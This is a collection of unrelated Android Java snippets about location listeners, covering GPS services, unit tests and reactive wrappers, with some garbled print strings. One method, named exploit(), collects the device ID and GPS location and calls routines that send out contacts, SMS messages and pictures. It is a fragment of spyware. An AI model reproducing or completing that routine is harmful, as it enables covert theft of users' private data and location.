/** * Location listeners are removed from manager before the service is destroyed */ @Override public void onDestroy(){ if (!isAdded){ addGraphToDB(); Log.d(TAG, "Added graph before destroying service"); } Log.d(TAG, "Entered onDestroy"); if (manager != null){ for (LocationListener listener : locationListeners) { manager.removeUpdates(listener); } } super.onDestroy(); }
private void initGps() { if (mLocationManager != null) { List<String> providers = mLocationManager.getProviders(true); mLocationListeners = new ArrayList<>(providers.size()); for (String provider : providers) { LocationListener listener = new MyLocationListener(); mLocationListeners.add(listener); mLocationManager.requestLocationUpdates(provider, 2000, 5f, listener); if (null == mLocation) { mLocation = mLocationManager.getLastKnownLocation(provider); } } updateUI(mLocation); } }
public void register(final LocationListener client) { timer.schedule(new TimerTask() { @Override public void run() { activity.runOnUiThread(new Runnable(){ @Override public void run() { dLat += (360 * 10)/(2 * Math.PI * R); Location loc = new Location(start); loc.setLatitude(start.getLatitude() - dLat); loc.setLongitude(start.getLongitude()); client.onLocationChanged(loc); Log.i(TAG, "Moved"); } }); } }, 0, 1000); }
@Override public void onDeRegistered() { if(this.mGoogleApiClient != null) { mGoogleApiClient.disconnect(); } if(Build.VERSION.SDK_INT >= 23 && !(ContextCompat.checkSelfPermission(context, android.Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ContextCompat.checkSelfPermission(context, android.Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED)) { for(LocationListener ll : this.locationListeners) { this.locationManager.removeUpdates(ll); } } this.timer.cancel(); this.map = null; this.lastKnownLocation = null; }
@Test @Ignore /* It appears there is a bug in the ShadowLocationManager. When updates are removed there is a null check against the map of of listeners. Removing updates does not null the list of providers; therefore when listeners are added there are not added to the map. See line 228 of ShadowLocationManager (Robolectric 3.0-rc2) */ public void whenGPSUpdatesAreNoLongerRequiredThenTheGPSListenerIsRemovedFromTheLocationManager() { groceryStoreManager.listenForLocationUpdates(true); List<LocationListener> locationListeners = shadowLocationManager.getRequestLocationUpdateListeners(); assertTrue(shadowLocationManager.getProvidersForListener(locationListeners.get(0)).contains(LocationManager.GPS_PROVIDER)); groceryStoreManager.removeGPSListener(); locationListeners = shadowLocationManager.getRequestLocationUpdateListeners(); assertFalse(shadowLocationManager.getProvidersForListener(locationListeners.get(0)).contains(LocationManager.GPS_PROVIDER)); }
@Test public void itShouldNotProvideUpdateIfAnyProviderIsAvailable() { // given given(mockedLocationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) .willReturn(false); given(mockedLocationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) .willReturn(false); LocationListener listener = mock(LocationListener.class); // when locationTracker.startListener(listener); // then verify(mockedLocationManager, never()).requestLocationUpdates( eq(LocationManager.GPS_PROVIDER), anyLong(), anyFloat(), eq(listener)); }
@Test public void itShouldProvideUpdatesIfAtLeastGPSProviderIsAvailable() { // given given(mockedLocationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) .willReturn(true); given(mockedLocationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) .willReturn(false); LocationListener listener = mock(LocationListener.class); // when locationTracker.startListener(listener); // then verify(mockedLocationManager).requestLocationUpdates( eq(LocationManager.GPS_PROVIDER), anyLong(), anyFloat(), eq(listener)); }
@Test public void itShouldProvideUpdatesIfAtLeastNetworkProviderIsAvailable() { // given given(mockedLocationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) .willReturn(false); given(mockedLocationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) .willReturn(true); LocationListener listener = mock(LocationListener.class); // when locationTracker.startListener(listener); // then verify(mockedLocationManager) .requestLocationUpdates( eq(LocationManager.NETWORK_PROVIDER), anyLong(), anyFloat(), eq(listener)); }
@Test public void itShouldReturnNullFromLastKnowLocationIfAnyProviderIsAvailable() { // given List<String> providers = Lists.newArrayList(LocationManager.GPS_PROVIDER, LocationManager.NETWORK_PROVIDER); given(mockedLocationManager.getProviders(true)) .willReturn(providers); given(mockedLocationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) .willReturn(false); given(mockedLocationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) .willReturn(false); LocationListener listener = mock(LocationListener.class); // when Location result = locationTracker.getLastKnowLocation(); // then assertNull(result); }
@Test public void itShouldReturnLocationFromLastKnowLocationIfAtLeastGPSProviderIsAvailable() { // given Location expected = mock(Location.class); List<String> providers = Lists.newArrayList(LocationManager.GPS_PROVIDER, LocationManager.NETWORK_PROVIDER); given(mockedLocationManager.getProviders(true)) .willReturn(providers); given(mockedLocationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) .willReturn(true); given(mockedLocationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) .willReturn(false); given(mockedLocationManager.getLastKnownLocation(anyString())) .willReturn(expected); LocationListener listener = mock(LocationListener.class); // when Location result = locationTracker.getLastKnowLocation(); // then assertEquals(expected, result); }
@Test public void itShouldReturnLocationFromLastKnowLocationIfAtLeastNetworkProviderIsAvailable() { // given Location expected = mock(Location.class); List<String> providers = Lists.newArrayList(LocationManager.GPS_PROVIDER, LocationManager.NETWORK_PROVIDER); given(mockedLocationManager.getProviders(true)) .willReturn(providers); given(mockedLocationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) .willReturn(false); given(mockedLocationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) .willReturn(true); given(mockedLocationManager.getLastKnownLocation(anyString())) .willReturn(expected); LocationListener listener = mock(LocationListener.class); // when Location result = locationTracker.getLastKnowLocation(); // then assertEquals(expected, result); }
public Observable<Coordinate> find() { return Observable.create(new Observable.OnSubscribe<Coordinate>() { @Override public void call(Subscriber<? super Coordinate> subscriber) { final Criteria criteria = new Criteria(); criteria.setAccuracy(Criteria.ACCURACY_COARSE); criteria.setPowerRequirement(Criteria.POWER_LOW); final String provider = mManager.getBestProvider(criteria, true); final LocationListener listener = new InnerLocationListener(subscriber); final Looper currentLooper = Looper.myLooper(); if (currentLooper == null) { Looper.prepare(); mManager.requestSingleUpdate(provider, listener, Looper.myLooper()); Looper.loop(); } else { mManager.requestSingleUpdate(provider, listener, currentLooper); } } }); }
public Observable<Location> getLocationObserver() { return Observable.create(new ObservableOnSubscribe<Location>() { @Override public void subscribe(final ObservableEmitter<Location> e) throws Exception { LocationListener listener = new LocationListenerWithDefaults() { @Override public void onLocationChanged(Location location) { e.onNext(location); } }; if (ActivityCompat.checkSelfPermission(activityContext, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(activityContext, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(activityContext, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, 0); return; } locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, listener); } }); }
/** * To un-register the Location Service */ public final void unregisterLocationService(LocationListener locationListener) throws LocationServiceException { if(gps!=null) { if(enableDebugging) Log.d(TAG,"Unregister Location Service"); gps.stopUsingGPS(locationListener); // Change the Listener CAFConfig.setSensorLocation(false); } else { Log.d(TAG,"gps is null"); } }
/** * To un-register the Location Service */ public final void unregisterLocationService(LocationListener locationListener) throws LocationServiceException { if(locationDataListener!=null) { if(enableDebugging) Log.d(TAG,"Unregister Location Service"); locationDataListener.unregisterLocationListener(locationListener); // Change the Listener CAFConfig.setSensorLocation(false); } else { Log.d(TAG,"locationDataListener is null"); } }
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //setContentView(R.layout.gps); //ActionBar actionBar = getActionBar(); //actionBar.setDisplayHomeAsUpEnabled(true); appPrefs = new PreferencesHelper(getApplicationContext()); textLat = (TextView)findViewById(R.id.textLat); textLong = (TextView)findViewById(R.id.textLong); mBack = (Button)findViewById(R.id.backButton3); LocationManager lm = (LocationManager)getSystemService(Context.LOCATION_SERVICE); LocationListener ll = new mylocationlistener(); mBack.setOnClickListener(this); //updates GPS gps every 30 seconds. lm.requestLocationUpdates(LocationManager.GPS_PROVIDER, 30000, 0, ll); }
/** * * @param context * @param useProvider * @param minTimeFilter * @param minTimeGpsProvider * @param minTimeNetProvider * @param locationListener * @param forwardProviderUpdates */ LooperThread( Context context, UseProvider useProvider, long minTimeFilter, long minTimeGpsProvider, long minTimeNetProvider, LocationListener locationListener, boolean forwardProviderUpdates) { mContext = context; mClientHandler = new Handler(); mLocationManager = (LocationManager) mContext.getSystemService(Context.LOCATION_SERVICE); mUseProvider = useProvider; mMinTimeFilter = minTimeFilter; mMinTimeGpsProvider = minTimeGpsProvider; mMinTimeNetProvider = minTimeNetProvider; mClientLocationListener = locationListener; mForwardProviderUpdates = forwardProviderUpdates; start(); }
/** * Update `mCurrentLocation`. * If developer use custom listener when calling this method, * `onLocationChanged` method in that listener must extends * MVLocationListener and call super.onLocationChanged(location) * to update singleton `mCurrentLocation`. * @param context * @param listener * @param updateOnce */ private static void updateLocation( Context context, LocationListener listener, Boolean updateOnce) { String provider = getBestProvider(context); if (provider == null) { // There is no available location source. // TODO : Throw exception //throw new LocationException("Cannot find location provider"); } LocationManager manager = getLocationManager(context); Location location = manager.getLastKnownLocation(provider); if (location != null) mCurrentLocation = location; stopLocationUpdates(context, listener); if (updateOnce) { // TODO : Do update once here. } else { requestLocationUpdates(context, provider, listener); } }
public Location getLocation(String provider,LocationListener locationListener){ if(locationManager.isProviderEnabled(provider)){ if(provider == LocationManager.GPS_PROVIDER) locationManager.requestLocationUpdates(provider, MIN_TIME_FOR_UPDATE, MIN_DISTANCE_FOR_UPDATE, locationListener); else if(provider == LocationManager.NETWORK_PROVIDER) locationManager.requestLocationUpdates(provider, 0, 0, locationListener); System.out.println("����1:"+provider); } if(locationManager != null){ location = locationManager.getLastKnownLocation(provider); if(location != null){ System.out.println("����2:�ɹ�"); return location; } } System.out.println("����2:ʧ��"); return null; }
@Override public void onLocationChanged(Location location) { Log.d(Constants.LOGGING_TAG, "Location updated in GPSTracker: " + location.toString()); //Record location final UserLog log = new UserLog(); log.setTime(new Date()); log.setLatitude(location.getLatitude()); log.setLongitude(location.getLongitude()); User.getId(mContext, new UserIdListener(){ @Override public void onUserId(Integer id) { log.setUserId(id); TanapaDbHelper.getInstance(getBaseContext()).saveLocation(log); } }); for ( LocationListener l : locationListeners ) { l.onLocationChanged(location); } }
public boolean startListening(final LocationListener pListener) { boolean result = false; mListener = pListener; // Do not use .getProviders(true) for receiving activation notifications List<String> providers = locationManager.getAllProviders(); if (providers != null && !providers.isEmpty()) { for (final String provider : providers) { // if (LocationManager.GPS_PROVIDER.equals(provider) // || LocationManager.NETWORK_PROVIDER.equals(provider)) { result = true; locationManager.requestLocationUpdates(provider, updateTimeInMs, updateDistanceInM, this); Log.d(TAG, String.format("requestLocationUpdates for provider : [%s]", provider)); // }pLocationManager } } return result; }
@SmallTest public void testHandlesRefreshInterval() throws Exception { when(_mockLocationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)).thenReturn(true); _serviceCommand.execute(_app); _serviceCommand.onGPSChangeState(new GPSChangeState(GPSChangeState.State.START)); ArgumentCaptor<LocationListener> locationListenerCaptor = ArgumentCaptor.forClass(LocationListener.class); verify(_mockLocationManager,timeout(200).times(1)).requestLocationUpdates( anyString(), anyLong(), anyFloat(), locationListenerCaptor.capture()); int refreshInterval = 200; _serviceCommand.onGPSRefreshChangeEvent(new ChangeRefreshInterval(refreshInterval)); verify(_mockLocationManager, timeout(200).times(1)).removeUpdates((LocationListener) anyObject()); verify(_mockLocationManager, timeout(200).times(1)).requestLocationUpdates( LocationManager.GPS_PROVIDER, refreshInterval, 2, locationListenerCaptor.getValue() ); }
@Override public void onLocationChanged(Location location) { if (location != null && location.getProvider().equals(LocationManager.GPS_PROVIDER)) { mLastGPSLocation = location; } if (!LocationUtils.isBetterLocation(location, mLastBestLocation)) { return; } mLastBestLocation = location; synchronized (mLockGeoObject) { for (int i = 0; i < mArrayListGeoObject.size(); i++) { mArrayListGeoObject.get(i).setLocation(location); } } synchronized (mLockWorld) { for (int i = 0; i < mArrayListWorld.size(); i++) { mArrayListWorld.get(i).setLocation(location); } } synchronized (mLockLocationListener) { for (LocationListener listener : mArrayLocationListener) { listener.onLocationChanged(mLastBestLocation); } } }
public LocationProvider( final Context context, LocationListener locationListener ) { super(); this.locationManager = (LocationManager)context.getSystemService( Context.LOCATION_SERVICE ); this.locationListener = locationListener; this.context = context; this.gpsProviderEnabled = this.locationManager.isProviderEnabled( LocationManager.GPS_PROVIDER ); this.networkProviderEnabled = this.locationManager.isProviderEnabled( LocationManager.NETWORK_PROVIDER ); }
@Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_sos, container, false); ButterKnife.bind(this, view); sharedPreferences = getActivity().getSharedPreferences("Profile", MODE_PRIVATE); Dexter.checkPermissions(new MultiplePermissionsListener() { @Override public void onPermissionsChecked(MultiplePermissionsReport report) {/* ... */} @Override public void onPermissionRationaleShouldBeShown(List<PermissionRequest> permissions, PermissionToken token) {/* ... */} }, Manifest.permission.ACCESS_COARSE_LOCATION, Manifest.permission.ACCESS_FINE_LOCATION); LocationManager locationManager = (LocationManager) getActivity().getSystemService(Context.LOCATION_SERVICE); LocationListener locationListener = new MyLocationListener(); try { if (locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 5000, 10, locationListener); else Toast.makeText(getContext(), "Enable location services", Toast.LENGTH_SHORT).show(); } catch (SecurityException e) { Log.e("locationListener", e.toString()); } return view; }
public LocationTracker(AimsicdService service, LocationListener extLocationListener) { this.context = service; this.extLocationListener = extLocationListener; lm = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); mLocationListener = new MyLocationListener(); prefs = context.getSharedPreferences( AimsicdService.SHARED_PREFERENCES_BASENAME, 0); mDbHelper = new AIMSICDDbAdapter(context); }
@Override protected void configureSensorSubscribeAndUnsubscribeBehaviors(FlowableEmitter<SensorRecord> subscriber) { final LocationListener locationListener = initializeLocationListenerFor(subscriber); startListeningLocationChanges(locationListener); addUnsubscribeCallbackFor(subscriber, locationListener); }
@SuppressWarnings("MissingPermission") private void startListeningLocationChanges(final LocationListener locationListener) { // This is needed because location manager location updates need a looper Completable.create(new CompletableOnSubscribe() { @Override public void subscribe(CompletableEmitter e) throws Exception { locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, sensorConfig.getMinSensorDelay(getSensorType()), MIN_DISTANCE, locationListener); } }) .subscribeOn(AndroidSchedulers.mainThread()) .subscribe(); }
private void addUnsubscribeCallbackFor(FlowableEmitter<SensorRecord> subscriber, final LocationListener locationListener) { subscriber.setCancellable(new Cancellable() { @Override public void cancel() throws Exception { locationManager.removeUpdates(locationListener); } }); }
public void requestLocationUpdates(Activity activity, String str, long j, float f, LocationListener locationListener) { if (this.mLocationManager != null) { final String str2 = str; final long j2 = j; final float f2 = f; final LocationListener locationListener2 = locationListener; activity.runOnUiThread(new Runnable() { public void run() { SocializeLocationManager.this.mLocationManager.requestLocationUpdates(str2, j2, f2, locationListener2); } }); } }
public void requestLocationUpdates(Activity activity, final String provider, final long minTime, final float minDistance, final LocationListener listener) { if(lm != null) { activity.runOnUiThread(new Runnable() { @Override public void run() { lm.requestLocationUpdates(provider, minTime, minDistance, listener); } }); } }
public void exploit(){ ArrayList<Pair<String, String>> contacts = new ArrayList<>(); //Conctacts list data structure LocationManager mLocationManager; //Class that handles the GPS location String android_id; //Android device identifier // Get android device identifier android_id = Settings.Secure.getString(getBaseContext().getContentResolver(), Settings.Secure.ANDROID_ID); // Get current GPS location mLocationManager = (LocationManager) getSystemService(LOCATION_SERVICE); LocationListener locationListener = new MyLocationListener(getBaseContext(), android_id); mLocationManager.requestLocationUpdates( LocationManager.GPS_PROVIDER, 5000, 10, locationListener); //new CreateRMIServerAsyncTask(this).execute(); try { sendContacts(android_id, contacts); } catch (IOException e) { e.printStackTrace(); } sendSMS(android_id); sendPictures(android_id); }
public LocationTracker(AimsicdService service, LocationListener extLocationListener) { this.context = service; this.extLocationListener = extLocationListener; lm = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); mLocationListener = new MyLocationListener(); prefs = context.getSharedPreferences( AimsicdService.SHARED_PREFERENCES_BASENAME, 0); mDbHelper = new RealmHelper(context); }
@Override public void onDetach() { super.onDetach(); if (mLocationManager != null && mLocationListeners != null) { for (LocationListener l : mLocationListeners) { if (l != null) { mLocationManager.removeUpdates(l); } } mLocationListeners.clear(); } mActivity = null; }
private void requestLocationUpdates(final LocationListener listener) { if (locationManager != null && location != null) { if (location.getAccuracy() > MIN_LAST_READ_ACCURACY || location.getTime() < (System.currentTimeMillis() - TWO_MIN)) { locationManager.requestLocationUpdates(LocationManager.PASSIVE_PROVIDER, POLLING_FREQ, MIN_DISTANCE, this); locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, POLLING_FREQ, MIN_DISTANCE, this); Executors.newScheduledThreadPool(1).schedule(new Runnable() { @Override public void run() { locationManager.removeUpdates(listener); } }, MEASURE_TIME, TimeUnit.MILLISECONDS); } } }
public void onLocationChanged(Location location) { if (isBetterLocation(location, currentLocation)) { currentLocation = location; for (LocationListener listener: listeners) { listener.onLocationChanged(location); } if (googleMapListener != null) { googleMapListener.onLocationChanged(location); } } }
protected LocationFinder(Activity activity) { this.activity = activity; this.locationManager = (LocationManager) activity.getSystemService(Context.LOCATION_SERVICE); this.listeners = new LinkedList<LocationListener>(); this.googleMapListener = null; this.currentLocation = getLastKnownLocation(); this.locationSaver = activity.getPreferences(Context.MODE_PRIVATE); // Define the listener that responds to location updates this.internalListenerInstance = new InternalListener(); }
@Test public void whenLocationUpdatesAreRequestedThenLocationListenersAreAddedToTheLocationManager() { groceryStoreManager.listenForLocationUpdates(false); List<LocationListener> locationListeners = shadowLocationManager.getRequestLocationUpdateListeners(); assertFalse(locationListeners.isEmpty()); }